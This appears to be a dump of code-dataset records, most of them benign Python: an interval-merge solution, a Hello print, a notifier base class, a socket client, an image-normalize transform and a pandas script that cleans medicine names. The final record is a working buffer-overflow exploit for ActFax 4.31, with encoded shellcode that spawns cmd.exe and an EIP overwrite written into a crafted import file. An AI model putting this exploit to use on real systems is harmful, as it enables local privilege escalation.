{ "blob_id": "7dd5ac1110f38c40f2fddf9d7175a5ac40303d73", "index": 5796, "step-1": "# Definition for an interval.\n# class Interval(object):\n# def __init__(self, s=0, e=0):\n# self.start = s\n# self.end = e\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[Interval]\n :type newInterval: Interval\n :rtype: List[Interval]\n \"\"\"\n if not intervals:\n return [newInterval]\n \n starts, ends = [], []\n for intv in intervals:\n starts.append(intv.start)\n ends.append(intv.end)\n \n left = self.search1(ends, newInterval.start)\n right = self.search2(starts, newInterval.end)\n print left, right\n \n if left > len(intervals) - 1:\n intervals.append(newInterval)\n elif right < 0:\n intervals.insert(0, newInterval)\n else:\n newInterval.start = min(newInterval.start, intervals[left].start)\n newInterval.end = max(newInterval.end, intervals[right].end)\n intervals = intervals[:left] + [newInterval] + intervals[right + 1:]\n return intervals\n \n def search1(self, nums, target):\n left, right = 0, len(nums) - 1\n while left + 1 < right:\n mid = (left + right) / 2\n if nums[mid] == target:\n return mid\n elif nums[mid] > target:\n right = mid\n else:\n left = mid\n \n if nums[right] < target:\n return right + 1\n elif nums[left] < target:\n return right\n else:\n return left\n \n def search2(self, nums, target):\n left, right = 0, len(nums) - 1\n while left + 1 < right:\n mid = (left + right) / 2\n if nums[mid] == target:\n return mid\n elif nums[mid] > target:\n right = mid\n else:\n left = mid\n \n if nums[left] > target:\n return left - 1\n elif nums[right] > target:\n return left\n else:\n return right\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
#write a program that displays the wor "Hello!" print("Hello!")
normal
{ "blob_id": "b7a7941b3555b30ac7e743a5457df76f9eb7cb15", "index": 9714, "step-1": "<mask token>\n", "step-2": "print('Hello!')\n", "step-3": "#write a program that displays the wor \"Hello!\"\n\nprint(\"Hello!\")\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
# Copyright 2014 The crabapple Authors. All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file. import abc class Notifier(object): __metaclass__ = abc.ABCMeta def __init__(self): pass @abc.abstractmethod def config(self, kwargs): pass @abc.abstractmethod def send(self, msg): pass
normal
{ "blob_id": "f25351a3cb7bf583152baa8e7ec47b0f2161cb9c", "index": 761, "step-1": "<mask token>\n\n\nclass Notifier(object):\n <mask token>\n\n def __init__(self):\n pass\n <mask token>\n\n @abc.abstractmethod\n def send(self, msg):\n pass\n", "step-2": "<mask token>\n\n\nclass Notifier(object):\n <mask token>\n\n def __init__(self):\n pass\n\n @abc.abstractmethod\n def config(self, kwargs):\n pass\n\n @abc.abstractmethod\n def send(self, msg):\n pass\n", "step-3": "<mask token>\n\n\nclass Notifier(object):\n __metaclass__ = abc.ABCMeta\n\n def __init__(self):\n pass\n\n @abc.abstractmethod\n def config(self, kwargs):\n pass\n\n @abc.abstractmethod\n def send(self, msg):\n pass\n", "step-4": "import abc\n\n\nclass Notifier(object):\n __metaclass__ = abc.ABCMeta\n\n def __init__(self):\n pass\n\n @abc.abstractmethod\n def config(self, kwargs):\n pass\n\n @abc.abstractmethod\n def send(self, msg):\n pass\n", "step-5": "# Copyright 2014 The crabapple Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style\n# license that can be found in the LICENSE file.\n\nimport abc\n\n\nclass Notifier(object):\n __metaclass__ = abc.ABCMeta\n\n def __init__(self):\n pass\n\n @abc.abstractmethod\n def config(self, kwargs):\n pass\n\n @abc.abstractmethod\n def send(self, msg):\n pass\n", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
import configure import connectify import userlog import dirlog import time def getUser(sock): try: userinfo = userlog.getInfo() except: userinfo = configure.init(sock) userinfo = userinfo.split('^')[0] # print userinfo return userinfo if __name__=="__main__": sock = connectify.createCon() userinfo = getUser(sock) while 1: dirs, flag = dirlog.getDirs() if flag: sock.send('2'+userinfo+'^'+dirs) print sock.recv(1024) sock.send('3'+userinfo) update_count = sock.recv(1024) update = [] for x in range(0,int(update_count)): sock.send('4'+userinfo) update.append(sock.recv(1024)) print update time.sleep(2) connectify.closeCon(sock)
normal
{ "blob_id": "2ca1b603b18316bc1d970b5e32389e10e4b532e2", "index": 1071, "step-1": "import configure\nimport connectify\nimport userlog\nimport dirlog\nimport time\n\n\ndef getUser(sock):\n\ttry:\n\t\tuserinfo = userlog.getInfo()\n\texcept:\t\n\t\tuserinfo = configure.init(sock)\n\tuserinfo = userinfo.split('^')[0]\n#\tprint userinfo\n\treturn userinfo\n\nif __name__==\"__main__\":\t\n\tsock = connectify.createCon()\n\tuserinfo = getUser(sock)\n\twhile 1:\n\t\tdirs, flag = dirlog.getDirs()\n\t\tif flag:\n\t\t\tsock.send('2'+userinfo+'^'+dirs)\n\t\t\tprint sock.recv(1024)\n\t\tsock.send('3'+userinfo)\n\t\tupdate_count = sock.recv(1024)\n\t\tupdate = []\n\t\tfor x in range(0,int(update_count)):\n\t\t\tsock.send('4'+userinfo)\n\t\t\tupdate.append(sock.recv(1024))\n\t\tprint update\n\t\ttime.sleep(2)\n\tconnectify.closeCon(sock)\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
import torch from torchvision import transforms from torch.autograd import Variable class NormalizeImageDict(object): """ Normalize image in dictionary normalize range is True, the image is divided by 255 """ def __init__(self, image_keys, normalizeRange=True): self.image_keys = image_keys self.normalizeRange = normalizeRange self.normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]) def __call__(self, sample): for key in self.image_keys: if self.normalizeRange: sample[key] /= 255.0 sample[key] = self.normalize(sample[key]) return sample
normal
{ "blob_id": "4293ad0b2a4a352d6bdc4b860448c4a3b14ca629", "index": 8648, "step-1": "<mask token>\n\n\nclass NormalizeImageDict(object):\n <mask token>\n <mask token>\n\n def __call__(self, sample):\n for key in self.image_keys:\n if self.normalizeRange:\n sample[key] /= 255.0\n sample[key] = self.normalize(sample[key])\n return sample\n", "step-2": "<mask token>\n\n\nclass NormalizeImageDict(object):\n <mask token>\n\n def __init__(self, image_keys, normalizeRange=True):\n self.image_keys = image_keys\n self.normalizeRange = normalizeRange\n self.normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n def __call__(self, sample):\n for key in self.image_keys:\n if self.normalizeRange:\n sample[key] /= 255.0\n sample[key] = self.normalize(sample[key])\n return sample\n", "step-3": "<mask token>\n\n\nclass NormalizeImageDict(object):\n \"\"\"\n Normalize image in dictionary\n normalize range is True, the image is divided by 255\n \"\"\"\n\n def __init__(self, image_keys, normalizeRange=True):\n self.image_keys = image_keys\n self.normalizeRange = normalizeRange\n self.normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n def __call__(self, sample):\n for key in self.image_keys:\n if self.normalizeRange:\n sample[key] /= 255.0\n sample[key] = self.normalize(sample[key])\n return sample\n", "step-4": "import torch\nfrom torchvision import transforms\nfrom torch.autograd import Variable\n\n\nclass NormalizeImageDict(object):\n \"\"\"\n Normalize image in dictionary\n normalize range is True, the image is divided by 255\n \"\"\"\n\n def __init__(self, image_keys, normalizeRange=True):\n self.image_keys = image_keys\n self.normalizeRange = normalizeRange\n self.normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225])\n\n def __call__(self, sample):\n for key in self.image_keys:\n if self.normalizeRange:\n sample[key] /= 255.0\n sample[key] = self.normalize(sample[key])\n return sample\n", "step-5": null, "step-ids": [ 2, 3, 4, 5 ] }
[ 2, 3, 4, 5 ]
auto_duration_sec = 15 teleop_duration_sec = 135
normal
{ "blob_id": "5229002103379ff10969e64289d5a0f36641c0a3", "index": 3497, "step-1": "<mask token>\n", "step-2": "auto_duration_sec = 15\nteleop_duration_sec = 135\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
import sys, os sys.path.insert(0, os.path.abspath("adjust_schedule_function"))
normal
{ "blob_id": "19126e5041841ab1320730ae82d66c6900cf31bd", "index": 9145, "step-1": "<mask token>\n", "step-2": "<mask token>\nsys.path.insert(0, os.path.abspath('adjust_schedule_function'))\n", "step-3": "import sys, os\nsys.path.insert(0, os.path.abspath('adjust_schedule_function'))\n", "step-4": "import sys, os\n\nsys.path.insert(0, os.path.abspath(\"adjust_schedule_function\"))\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
import pandas as pd from pandas.io.json import json_normalize import numpy as np import warnings import re warnings.filterwarnings("ignore") data_path = '/Users/trietnguyen/Documents/Thesis/Thesis-2020/References/Crawler/summaryDataJson.json' weights = ['mg', 'ml', '%'] def formatName(name): arr = re.split(' |-', name) print(arr) gweight = '' gname = [] gnumber = '' for word in arr: if any(str.isdigit(c) for c in word): #2 trường hợp 200 200mg for weight in weights: pos = word.find(weight) if pos != -1: gweight = weight gnumber = word[:pos] break else: gnumber = word elif any(word == weight for weight in weights): gweight = word elif word != '': gname.append(word) return (gnumber, gweight ,' '.join(gname)) def cleanName(name): return re.sub(r'[^a-z0-9]', '', name.lower()) def rmSpecialCharacters(df): df['noSpace'] = df['noSpace'].apply(cleanName) def rmDuplicate(df): df.drop_duplicates(subset ='noSpace', keep = 'first', inplace = True) df.index = range(len(df.index)) def splitMedicine(df): df_temp = df['name'].apply(formatName) new_df = pd.DataFrame([[a, b, c] for a,b,c in df_temp.values], columns=['number', 'weight', 'short name']) return new_df #Read data df = pd.read_json(data_path, orient='records') df.drop_duplicates(subset ="name", keep = 'first', inplace = True) df.index = range(len(df.index)) #Xoá các thuốc có tiếng việt nonTiengViet_df = df.loc[df['name'].str.contains(r'[^\x00-\x7F]+') == False] #print(nonTiengViet_df.head(10)) #Remove duplicate bằng cách xoá hết các khoảng trắng của tên thuốc, nếu trùng tên và thành phần thì xoá nonTiengViet_df['noSpace'] = nonTiengViet_df.name rm_character = ['-', '\"', '/', ' ', ',', '.'] rmSpecialCharacters(nonTiengViet_df) rmDuplicate(nonTiengViet_df) # sort dataframe: nonTiengViet_df = nonTiengViet_df.sort_values(by=['noSpace'], ascending=True) nonTiengViet_df.index = range(len(nonTiengViet_df.index)) # split thuốc theo [' ', '-'] # Tìm các từ có tồn tại số 200, 200mg, 0.1mg/ml 150 .... # print(formatName('10mg Dextrose in Water Parenteral Solution for ..')) splitMedicine(nonTiengViet_df) new_df = splitMedicine(nonTiengViet_df) nonTiengViet_df['shortname'] = new_df['short name'] nonTiengViet_df['number'] = new_df['number'] nonTiengViet_df['weight'] = new_df['weight'] nonTiengViet_df['noSpace'] = nonTiengViet_df.shortname rm_character = ['-', '\"', '/', ' ', ',', '.'] rmSpecialCharacters(nonTiengViet_df) rmDuplicate(nonTiengViet_df) print(nonTiengViet_df.describe) print(nonTiengViet_df.tail(5)) nonTiengViet_df.to_json(r'PreProcessData.json')
normal
{ "blob_id": "b808daf8d1fbe3cc585db57e1049a502d3ca46f5", "index": 857, "step-1": "<mask token>\n\n\ndef formatName(name):\n arr = re.split(' |-', name)\n print(arr)\n gweight = ''\n gname = []\n gnumber = ''\n for word in arr:\n if any(str.isdigit(c) for c in word):\n for weight in weights:\n pos = word.find(weight)\n if pos != -1:\n gweight = weight\n gnumber = word[:pos]\n break\n else:\n gnumber = word\n elif any(word == weight for weight in weights):\n gweight = word\n elif word != '':\n gname.append(word)\n return gnumber, gweight, ' '.join(gname)\n\n\ndef cleanName(name):\n return re.sub('[^a-z0-9]', '', name.lower())\n\n\ndef rmSpecialCharacters(df):\n df['noSpace'] = df['noSpace'].apply(cleanName)\n\n\ndef rmDuplicate(df):\n df.drop_duplicates(subset='noSpace', keep='first', inplace=True)\n df.index = range(len(df.index))\n\n\ndef splitMedicine(df):\n df_temp = df['name'].apply(formatName)\n new_df = pd.DataFrame([[a, b, c] for a, b, c in df_temp.values],\n columns=['number', 'weight', 'short name'])\n return new_df\n\n\n<mask token>\n", "step-2": "<mask token>\nwarnings.filterwarnings('ignore')\n<mask token>\n\n\ndef formatName(name):\n arr = re.split(' |-', name)\n print(arr)\n gweight = ''\n gname = []\n gnumber = ''\n for word in arr:\n if any(str.isdigit(c) for c in word):\n for weight in weights:\n pos = word.find(weight)\n if pos != -1:\n gweight = weight\n gnumber = word[:pos]\n break\n else:\n gnumber = word\n elif any(word == weight for weight in weights):\n gweight = word\n elif word != '':\n gname.append(word)\n return gnumber, gweight, ' '.join(gname)\n\n\ndef cleanName(name):\n return re.sub('[^a-z0-9]', '', name.lower())\n\n\ndef rmSpecialCharacters(df):\n df['noSpace'] = df['noSpace'].apply(cleanName)\n\n\ndef rmDuplicate(df):\n df.drop_duplicates(subset='noSpace', keep='first', inplace=True)\n df.index = range(len(df.index))\n\n\ndef splitMedicine(df):\n df_temp = df['name'].apply(formatName)\n new_df = pd.DataFrame([[a, b, c] for a, b, c in df_temp.values],\n columns=['number', 'weight', 'short name'])\n return new_df\n\n\n<mask token>\ndf.drop_duplicates(subset='name', keep='first', inplace=True)\n<mask token>\nrmSpecialCharacters(nonTiengViet_df)\nrmDuplicate(nonTiengViet_df)\n<mask token>\nprint(formatName('10mg Dextrose in Water Parenteral Solution for ..'))\nsplitMedicine(nonTiengViet_df)\n<mask token>\nrmSpecialCharacters(nonTiengViet_df)\nrmDuplicate(nonTiengViet_df)\nprint(nonTiengViet_df.describe)\nprint(nonTiengViet_df.tail(5))\nnonTiengViet_df.to_json('PreProcessData.json')\n", "step-3": "<mask token>\nwarnings.filterwarnings('ignore')\ndata_path = (\n '/Users/trietnguyen/Documents/Thesis/Thesis-2020/References/Crawler/summaryDataJson.json'\n )\nweights = ['mg', 'ml', '%']\n\n\ndef formatName(name):\n arr = re.split(' |-', name)\n print(arr)\n gweight = ''\n gname = []\n gnumber = ''\n for word in arr:\n if any(str.isdigit(c) for c in word):\n for weight in weights:\n pos = word.find(weight)\n if pos != -1:\n gweight = weight\n gnumber = word[:pos]\n break\n else:\n gnumber = word\n elif any(word == weight for weight in weights):\n gweight = word\n elif word != '':\n gname.append(word)\n return gnumber, gweight, ' '.join(gname)\n\n\ndef cleanName(name):\n return re.sub('[^a-z0-9]', '', name.lower())\n\n\ndef rmSpecialCharacters(df):\n df['noSpace'] = df['noSpace'].apply(cleanName)\n\n\ndef rmDuplicate(df):\n df.drop_duplicates(subset='noSpace', keep='first', inplace=True)\n df.index = range(len(df.index))\n\n\ndef splitMedicine(df):\n df_temp = df['name'].apply(formatName)\n new_df = pd.DataFrame([[a, b, c] for a, b, c in df_temp.values],\n columns=['number', 'weight', 'short name'])\n return new_df\n\n\ndf = pd.read_json(data_path, orient='records')\ndf.drop_duplicates(subset='name', keep='first', inplace=True)\ndf.index = range(len(df.index))\nnonTiengViet_df = df.loc[df['name'].str.contains('[^\\\\x00-\\\\x7F]+') == False]\nnonTiengViet_df['noSpace'] = nonTiengViet_df.name\nrm_character = ['-', '\"', '/', ' ', ',', '.']\nrmSpecialCharacters(nonTiengViet_df)\nrmDuplicate(nonTiengViet_df)\nnonTiengViet_df = nonTiengViet_df.sort_values(by=['noSpace'], ascending=True)\nnonTiengViet_df.index = range(len(nonTiengViet_df.index))\nprint(formatName('10mg Dextrose in Water Parenteral Solution for ..'))\nsplitMedicine(nonTiengViet_df)\nnew_df = splitMedicine(nonTiengViet_df)\nnonTiengViet_df['shortname'] = new_df['short name']\nnonTiengViet_df['number'] = new_df['number']\nnonTiengViet_df['weight'] = new_df['weight']\nnonTiengViet_df['noSpace'] = nonTiengViet_df.shortname\nrm_character = ['-', '\"', '/', ' ', ',', '.']\nrmSpecialCharacters(nonTiengViet_df)\nrmDuplicate(nonTiengViet_df)\nprint(nonTiengViet_df.describe)\nprint(nonTiengViet_df.tail(5))\nnonTiengViet_df.to_json('PreProcessData.json')\n", "step-4": "import pandas as pd\nfrom pandas.io.json import json_normalize\nimport numpy as np\nimport warnings\nimport re\nwarnings.filterwarnings('ignore')\ndata_path = (\n '/Users/trietnguyen/Documents/Thesis/Thesis-2020/References/Crawler/summaryDataJson.json'\n )\nweights = ['mg', 'ml', '%']\n\n\ndef formatName(name):\n arr = re.split(' |-', name)\n print(arr)\n gweight = ''\n gname = []\n gnumber = ''\n for word in arr:\n if any(str.isdigit(c) for c in word):\n for weight in weights:\n pos = word.find(weight)\n if pos != -1:\n gweight = weight\n gnumber = word[:pos]\n break\n else:\n gnumber = word\n elif any(word == weight for weight in weights):\n gweight = word\n elif word != '':\n gname.append(word)\n return gnumber, gweight, ' '.join(gname)\n\n\ndef cleanName(name):\n return re.sub('[^a-z0-9]', '', name.lower())\n\n\ndef rmSpecialCharacters(df):\n df['noSpace'] = df['noSpace'].apply(cleanName)\n\n\ndef rmDuplicate(df):\n df.drop_duplicates(subset='noSpace', keep='first', inplace=True)\n df.index = range(len(df.index))\n\n\ndef splitMedicine(df):\n df_temp = df['name'].apply(formatName)\n new_df = pd.DataFrame([[a, b, c] for a, b, c in df_temp.values],\n columns=['number', 'weight', 'short name'])\n return new_df\n\n\ndf = pd.read_json(data_path, orient='records')\ndf.drop_duplicates(subset='name', keep='first', inplace=True)\ndf.index = range(len(df.index))\nnonTiengViet_df = df.loc[df['name'].str.contains('[^\\\\x00-\\\\x7F]+') == False]\nnonTiengViet_df['noSpace'] = nonTiengViet_df.name\nrm_character = ['-', '\"', '/', ' ', ',', '.']\nrmSpecialCharacters(nonTiengViet_df)\nrmDuplicate(nonTiengViet_df)\nnonTiengViet_df = nonTiengViet_df.sort_values(by=['noSpace'], ascending=True)\nnonTiengViet_df.index = range(len(nonTiengViet_df.index))\nprint(formatName('10mg Dextrose in Water Parenteral Solution for ..'))\nsplitMedicine(nonTiengViet_df)\nnew_df = splitMedicine(nonTiengViet_df)\nnonTiengViet_df['shortname'] = new_df['short name']\nnonTiengViet_df['number'] = new_df['number']\nnonTiengViet_df['weight'] = new_df['weight']\nnonTiengViet_df['noSpace'] = nonTiengViet_df.shortname\nrm_character = ['-', '\"', '/', ' ', ',', '.']\nrmSpecialCharacters(nonTiengViet_df)\nrmDuplicate(nonTiengViet_df)\nprint(nonTiengViet_df.describe)\nprint(nonTiengViet_df.tail(5))\nnonTiengViet_df.to_json('PreProcessData.json')\n", "step-5": "import pandas as pd\nfrom pandas.io.json import json_normalize\nimport numpy as np\nimport warnings\nimport re\nwarnings.filterwarnings(\"ignore\")\n\ndata_path = '/Users/trietnguyen/Documents/Thesis/Thesis-2020/References/Crawler/summaryDataJson.json'\n\nweights = ['mg', 'ml', '%']\n\ndef formatName(name):\n arr = re.split(' |-', name)\n print(arr) \n gweight = ''\n gname = [] \n gnumber = ''\n for word in arr:\n if any(str.isdigit(c) for c in word): #2 trường hợp 200 200mg\n for weight in weights:\n pos = word.find(weight)\n if pos != -1:\n gweight = weight \n gnumber = word[:pos]\n break\n else:\n gnumber = word\n \n elif any(word == weight for weight in weights):\n gweight = word\n elif word != '':\n gname.append(word)\n\n return (gnumber, gweight ,' '.join(gname))\n\ndef cleanName(name):\n return re.sub(r'[^a-z0-9]', '', name.lower()) \n\ndef rmSpecialCharacters(df):\n df['noSpace'] = df['noSpace'].apply(cleanName)\n \ndef rmDuplicate(df):\n df.drop_duplicates(subset ='noSpace', \n keep = 'first', inplace = True)\n df.index = range(len(df.index))\n\ndef splitMedicine(df):\n df_temp = df['name'].apply(formatName) \n new_df = pd.DataFrame([[a, b, c] for a,b,c in df_temp.values], columns=['number', 'weight', 'short name'])\n return new_df \n\n#Read data\ndf = pd.read_json(data_path, orient='records')\n\ndf.drop_duplicates(subset =\"name\", \n keep = 'first', inplace = True)\ndf.index = range(len(df.index))\n\n#Xoá các thuốc có tiếng việt\nnonTiengViet_df = df.loc[df['name'].str.contains(r'[^\\x00-\\x7F]+') == False]\n#print(nonTiengViet_df.head(10))\n\n#Remove duplicate bằng cách xoá hết các khoảng trắng của tên thuốc, nếu trùng tên và thành phần thì xoá \nnonTiengViet_df['noSpace'] = nonTiengViet_df.name \nrm_character = ['-', '\\\"', '/', ' ', ',', '.']\nrmSpecialCharacters(nonTiengViet_df)\n\nrmDuplicate(nonTiengViet_df)\n\n# sort dataframe:\nnonTiengViet_df = nonTiengViet_df.sort_values(by=['noSpace'], ascending=True)\nnonTiengViet_df.index = range(len(nonTiengViet_df.index))\n# split thuốc theo [' ', '-']\n# Tìm các từ có tồn tại số 200, 200mg, 0.1mg/ml 150 ....\n# \nprint(formatName('10mg Dextrose in Water Parenteral Solution for ..'))\nsplitMedicine(nonTiengViet_df)\n\nnew_df = splitMedicine(nonTiengViet_df)\nnonTiengViet_df['shortname'] = new_df['short name']\nnonTiengViet_df['number'] = new_df['number']\nnonTiengViet_df['weight'] = new_df['weight']\n\n\nnonTiengViet_df['noSpace'] = nonTiengViet_df.shortname \nrm_character = ['-', '\\\"', '/', ' ', ',', '.']\nrmSpecialCharacters(nonTiengViet_df)\n\nrmDuplicate(nonTiengViet_df)\n\nprint(nonTiengViet_df.describe)\nprint(nonTiengViet_df.tail(5))\nnonTiengViet_df.to_json(r'PreProcessData.json')\n\n", "step-ids": [ 5, 6, 7, 8, 9 ] }
[ 5, 6, 7, 8, 9 ]
#!/usr/bin/python #Title: ActFax 4.31 Local Privilege Escalation Exploit #Author: Craig Freyman (@cd1zz) #Discovered: July 10, 2012 #Vendor Notified: June 12, 2012 #Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html #msfpayload windows/exec CMD=cmd.exe R | msfencode -e x86/alpha_upper -f c #[*] x86/alpha_upper succeeded with size 466 (iteration=1) sc = ( "\x89\xe5\xdb\xce\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a" "\x48\x4d\x59\x45\x50\x35\x50\x53\x30\x43\x50\x4d\x59\x4a" "\x45\x56\x51\x48\x52\x55\x34\x4c\x4b\x36\x32\x50\x30\x4c" "\x4b\x36\x32\x44\x4c\x4c\x4b\x30\x52\x52\x34\x4c\x4b\x34" "\x32\x56\x48\x34\x4f\x38\x37\x51\x5a\x37\x56\x46\x51\x4b" "\x4f\x46\x51\x39\x50\x4e\x4c\x47\x4c\x35\x31\x43\x4c\x43" "\x32\x36\x4c\x31\x30\x49\x51\x48\x4f\x34\x4d\x55\x51\x58" "\x47\x4a\x42\x4c\x30\x30\x52\x50\x57\x4c\x4b\x50\x52\x52" "\x30\x4c\x4b\x37\x32\x47\x4c\x55\x51\x58\x50\x4c\x4b\x47" "\x30\x33\x48\x4b\x35\x39\x50\x34\x34\x50\x4a\x33\x31\x4e" "\x30\x30\x50\x4c\x4b\x57\x38\x52\x38\x4c\x4b\x36\x38\x51" "\x30\x33\x31\x4e\x33\x4b\x53\x57\x4c\x57\x39\x4c\x4b\x56" "\x54\x4c\x4b\x53\x31\x48\x56\x36\x51\x4b\x4f\x46\x51\x4f" "\x30\x4e\x4c\x49\x51\x58\x4f\x54\x4d\x55\x51\x39\x57\x50" "\x38\x4b\x50\x32\x55\x5a\x54\x53\x33\x43\x4d\x4b\x48\x47" "\x4b\x33\x4d\x46\x44\x53\x45\x5a\x42\x36\x38\x4c\x4b\x30" "\x58\x47\x54\x45\x51\x49\x43\x45\x36\x4c\x4b\x44\x4c\x30" "\x4b\x4c\x4b\x36\x38\x55\x4c\x53\x31\x59\x43\x4c\x4b\x54" "\x44\x4c\x4b\x55\x51\x48\x50\x4c\x49\x31\x54\x47\x54\x36" "\x44\x51\x4b\x31\x4b\x55\x31\x36\x39\x31\x4a\x36\x31\x4b" "\x4f\x4d\x30\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x55\x42\x5a" "\x4b\x4d\x56\x31\x4d\x52\x4a\x45\x51\x4c\x4d\x4d\x55\x4f" "\x49\x45\x50\x53\x30\x53\x30\x46\x30\x42\x48\x36\x51\x4c" "\x4b\x52\x4f\x4d\x57\x4b\x4f\x39\x45\x4f\x4b\x4a\x50\x4e" "\x55\x39\x32\x31\x46\x55\x38\x59\x36\x4d\x45\x4f\x4d\x4d" "\x4d\x4b\x4f\x58\x55\x57\x4c\x35\x56\x53\x4c\x44\x4a\x4d" "\x50\x4b\x4b\x4d\x30\x52\x55\x55\x55\x4f\x4b\x37\x37\x35" "\x43\x52\x52\x32\x4f\x43\x5a\x43\x30\x56\x33\x4b\x4f\x4e" "\x35\x32\x43\x32\x4d\x45\x34\x46\x4e\x35\x35\x43\x48\x45" "\x35\x33\x30\x41\x41") frontpad = "\x90" * 10 eip = "\x22\x1b\x40\x00" #00401B22 RETN actfax.exe backpad = "\x90" * 6000 buff = frontpad + sc + "\x90" * (502 - len(sc)) + eip + backpad f = open("pwnag3.exp", "w") f.write( "User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t" "Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t" "Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t" "Printer Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t" "Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\t" "Export Incoming\tExport-Path\tMark as Read\x0d\x0a"+buff+"\x0d\x0a") f.close()
normal
{ "blob_id": "1b7048ef17b3512b9944ce7e197db27f4fd1aed0", "index": 1687, "step-1": "<mask token>\n", "step-2": "<mask token>\nf.write(\n 'User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\tPredefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\tCoverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\tPrinter Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\tEmail Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\tExport Incoming\\tExport-Path\\tMark as Read\\r\\n'\n + buff + '\\r\\n')\nf.close()\n", "step-3": "sc = (\n '\\x89åÛÎÙuôXPYIIIICCCCCCQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLZHMYEP5PS0CPMYJEVQHRU4LK62P0LK62DLLK0RR4LK42VH4O87QZ7VFQKOFQ9PNLGL51CLC26L10IQHO4MUQXGJBL00RPWLKPRR0LK72GLUQXPLKG03HK59P44PJ31N00PLKW8R8LK68Q031N3KSWLW9LKVTLKS1HV6QKOFQO0NLIQXOTMUQ9WP8KP2UZTS3CMKHGK3MFDSEZB68LK0XGTEQICE6LKDL0KLK68ULS1YCLKTDLKUQHPLI1TGT6DQK1KU1691J61KOM0QHQOPZLKUBZKMV1MRJEQLMMUOIEPS0S0F0BH6QLKROMWKO9EOKJPNU921FU8Y6MEOMMMKOXUWL5VSLDJMPKKM0RUUUOK775CRR2OCZC0V3KON52C2ME4FN55CHE530AA'\n )\nfrontpad = '\\x90' * 10\neip = '\"\\x1b@\\x00'\nbackpad = '\\x90' * 6000\nbuff = frontpad + sc + '\\x90' * (502 - len(sc)) + eip + backpad\nf = open('pwnag3.exp', 'w')\nf.write(\n 'User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\tPredefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\tCoverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\tPrinter Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\tEmail Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\tExport Incoming\\tExport-Path\\tMark as Read\\r\\n'\n + buff + '\\r\\n')\nf.close()\n", "step-4": "#!/usr/bin/python\r\n#Title: ActFax 4.31 Local Privilege Escalation Exploit\r\n#Author: Craig Freyman (@cd1zz)\r\n#Discovered: July 10, 2012\r\n#Vendor Notified: June 12, 2012\r\n#Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html\r\n\r\n#msfpayload windows/exec CMD=cmd.exe R | msfencode -e x86/alpha_upper -f c\r\n#[*] x86/alpha_upper succeeded with size 466 (iteration=1)\r\nsc = 